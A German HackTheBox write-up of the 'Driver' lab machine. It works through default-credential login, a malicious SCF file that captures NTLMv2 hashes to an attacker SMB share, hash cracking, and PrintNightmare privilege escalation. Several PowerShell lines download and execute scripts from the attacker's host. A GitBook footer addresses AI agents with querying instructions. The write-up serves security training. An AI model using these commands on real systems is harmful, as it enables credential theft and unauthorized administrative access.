> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md). # Driver HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Passworterraten * Bösartige SCF-Datei * Lokale Privilegieneskalation des Druckspoolers (PrintNightmare) (CVE-2021-1675] {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** Erkundung offener Ports und Export in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts ```

**Analyse offener Ports mit extractport:** Die Funktion extractport verwenden, um offene Ports in kompakter Form anzuzeigen und in die Zwischenablage zu kopieren.

**Versionsscan von Ports mit Nmap:** Nmap verwenden, um die Versionen der Ports zu scannen und Informationen in die Datei "targeted" zu extrahieren: ```bash nmap -sCV -p80,135,445 -oN targeted ```

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei ein:

### Analyse von Port 80: Auf Port 80 läuft ein Webserver mit einem Verbindungsfeld.

Analyse mit **WhatWeb** identifiziert einen Standard-Benutzernamen: `admin`.

Verbindungsversuch zu `admin:admin` als Anmeldedaten. ### MFP-Firmware-Aktualisierungscenter:

Die Seite bietet eine Option zum Herunterladen der Firmware. Die Meldung besagt: > Wählen Sie das Druckermodell aus und laden Sie das entsprechende Firmware-Update von unserem Filesharing herunter. Unser Testteam wird die Downloads manuell prüfen und bald mit den Tests beginnen.

## Ausnutzung - bösartige SCF-Datei : Erstellen einer bösartigen `.scf` Datei, um beim Öffnen den NTLMv2 eines Benutzers abzufangen: ``` [Shell] Command=2 IconFile=//10.10.14.7/smbFolder/pentestlab.ico [Taskbar] Command=ToggleDesktop ``` Mithören mit **impacket** um NTLMv2 abzufangen: ```bash impacket-smbserver smbFolder $(pwd) -smb2support ``` Erfasse den NTLMv2-Hash für den Benutzer `tony`.

Knacke den NTLM-Hash mit **John**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `tony:liltony`

## SMB- und WinRM-Verbindung: **Zugriff überprüfen** mit CrackMapExec: ```bash crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony' ```

/*/* WinRM/*/* Verbindung mit CrackMapExec: ```bash crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony' ```

**Übernimm die Kontrolle mit Evil-WinRM**: ```bash evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony' ```

### Flagge user.txt:

## Privilegieneskalation : ### **1. Aufzählung mit PowerUp:** * Herunterladen des **PowerUp.ps1** Skripts auf der Angriffsmaschine und Anhängen des `Invoke-AllChecks` Befehls am Ende, um alle Prüfungen zu starten. {% embed url="" %} Übertragen des Skripts auf die Zielmaschine über einen Python-HTTP-Server: ```bash python3 -m http.server 80 ``` Ausführung auf der Zielmaschine: ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1') ``` > **Ergebnis**: Keine relevanten Elemente gefunden.

### **2. Aufzählung mit winPEAS:** {% embed url="" %} Übertragung des Werkzeugs **winPEASx64.exe** auf die Zielmaschine: `upload winPEASx64.exe`

## **Ausnutzung von PrintNightmare (CVE-2021-1675)** Ein anfälliger **spoolsv** Prozess wird erkannt, lauscht auf einem TCP-Port.

Verwendung eines Exploit-Skripts für PrintNightmare, verfügbar auf GitHub. {% embed url="" %}

Hier sind die auszuführenden Befehle: 1. **Übertragen des Skripts** um Blockierung durch Windows Defender zu vermeiden: ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1') ``` 2. **Anlegen eines Administratorkontos** namens `jordan`: ```powershell Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" ```

`jordan:jordan1234!$` > **Status**: `jordan` Benutzer ist jetzt in der Administratorgruppe.

### Verbindung mit Administratorrechten Verbindung zur Maschine via WinRM mit **Evil-WinRM**: ```powershell evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$' ```

### Root-Flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.